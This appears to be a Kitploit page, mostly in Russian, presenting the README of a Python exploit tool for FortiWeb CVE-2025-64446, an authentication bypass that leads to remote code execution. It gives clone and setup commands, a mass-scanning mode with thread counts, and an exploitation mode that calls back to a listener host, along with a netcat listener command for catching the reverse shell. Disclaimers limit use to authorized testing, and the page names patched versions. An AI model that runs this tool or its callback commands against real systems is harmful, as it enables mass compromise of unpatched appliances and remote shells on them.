FortiWeb-cve-2025-64446-RCE-exploit — Инструмент для исследования безопасности уязвимости FortiWeb CVE-2025-64446. Автоматизированная платформа эксплуатации с расширенным логированием, метриками в реальном времени, отладкой через прокси и профессиональной отчетностью. Включает логику повторов, многопоточность и настраиваемые параметры. Только для авторизованного тестирования безопасности. CVSS 9.8 Critical. | Kitploit

Атрибут	Детали
Автор	Sudeepa Wanigarathna
CVE	CVE-2025-64446
CVSS	9.8 (Критический)
Класс	Обход аутентификации + обход пути → произвольная загрузка файлов → RCE
Затронутые версии	Сборки до 7.6.7 / 7.8.7 / 8.0.2 (сверьтесь с официальным бюллетенем)
Устранение	Обновитесь до исправленной версии FortiWeb
Язык	Python 3.7+
Точка входа	`exploit.py`

Режим	Флаги	Назначение
Обнаружение	`--detect-only`	Не эксплуатационные индикаторы уязвимости
Безопасный / только чтение	`--safe-mode`	Пропуск шагов эксплуатации, изменяющих состояние
Массовое сканирование	`--targets` + `--scan-mode`	Параллельная оценка нескольких целей
Эксплуатация	`--target` + `--lhost`	Контролируемая цепочка только в авторизованных лабораториях
Пробный запуск	`--dry-run`	Проверка процесса без применения изменений
Отчётность	`--output-dir`	Отчёты о тестировании в форматах JSON + HTML

Поле	Значение
CVE ID	CVE-2025-64446
Оценка CVSS	9.8 (Критический)
Воздействие	Полная компрометация системы при успешной эксплуатации
Исправление	Обновитесь до 7.6.7, 7.8.7, 8.0.2 или более поздней версии

git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false

exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch

Компонент	Ответственность
`FortiWebScanner`	Проверки доступности, версии и индикаторов CVE
`ScannerManager`	Параллельные сканирования, сводки JSON/HTML, сводная таблица
`FortiWebExploit`	Сессия на основе конфигурации, повторные попытки, метрики, отчёты, опциональный путь эксплуатации
`LogManager`	Структурированное журналирование в файлы и цветная консоль

reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html

logs/
├── exploit.log
├── errors.log
└── requests.log

{
  "metadata": {
    "tool_name": "FortiWeb Research Tool",
    "version": "1.0",
    "author": "Sudeepa Wanigarathna",
    "timestamp": "2026-07-31T00:02:17",
    "mode": "detect"
  },
  "target": {
    "url": "https://192.168.1.100:8443",
    "reachable": true,
    "version": "7.6.0",
    "vulnerable": true,
    "risk_level": "Critical"
  },
  "metrics": {
    "total_requests": 12,
    "average_response_time": 0.42,
    "success_rate": 0.91
  }
}

Опция	Описание
`--target URL`	Базовый URL одного FortiWeb
`--targets FILE`	Список целей, разделённых переводами строк
`--lhost IP`	Хост прослушивателя (обязателен для эксплуатации)
`--lport PORT`	Порт прослушивателя (по умолчанию: `4444`)
`--config FILE`	Конфигурация YAML
`--detect-only`	Только обнаружение; пропустить цепочку эксплуатации
`--scan-mode`	Сканирование нескольких целей (требуется `--targets`)
`--safe-mode`	Только чтение; пропустить изменяющие состояние шаги
`--dry-run`	Пробный запуск без применения изменений
`--timeout SEC`	Тайм-аут запроса (по умолчанию: `15`)
`--threads N`	Количество рабочих потоков сканирования (по умолчанию: `5`)
`--proxy URL`	HTTP-прокси
`--user-agent STR`	Пользовательский User-Agent
`-v`, `--verbose`	Подробное журналирование и вывод в консоль
`--no-verify`	Отключить проверку TLS-сертификатов
`--output-dir DIR`	Каталог отчётов (по умолчанию: `reports`)
`--log-dir DIR`	Каталог журналов (по умолчанию: `logs`)
`-h`, `--help`	Показать справку

.
├── exploit.py           # Research tool (detect / scan / exploit)
├── config.yaml          # Example configuration
├── requirements.txt     # Python dependencies
├── reports/             # Generated JSON / HTML reports
├── logs/                # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md

Пакет	Роль
`requests`, `urllib3`	HTTP-клиент
`rich`, `colorama`, `tqdm`	Терминальный интерфейс и индикаторы прогресса
`pyyaml`	Загрузка `config.yaml`


Автор	Sudeepa Wanigarathna
Issues	GitHub Issues для этого репозитория
Безопасность	См. SECURITY.md · `[email protected]`

FortiWeb-cve-2025-64446-RCE-exploit

Популярное

Описание

Ключевые возможности

Сводка по уязвимости

📸 Скриншоты

Установка

Зависимости

Быстрый старт

Руководство по использованию

Режим обнаружения

Массовое сканирование

Режим эксплуатации (только авторизованные лаборатории)

Файл конфигурации

Архитектура

Возможности

Обнаружение

Отчётность и наблюдаемость

Операционные настройки

Генерируемые результаты

Пример JSON-отчёта (обнаружение)

Справочник команд

Структура проекта

Рекомендации по смягчению последствий

Правовое и этическое предупреждение

Ресурсы

Участие в разработке

Лицензия

Автор и поддержка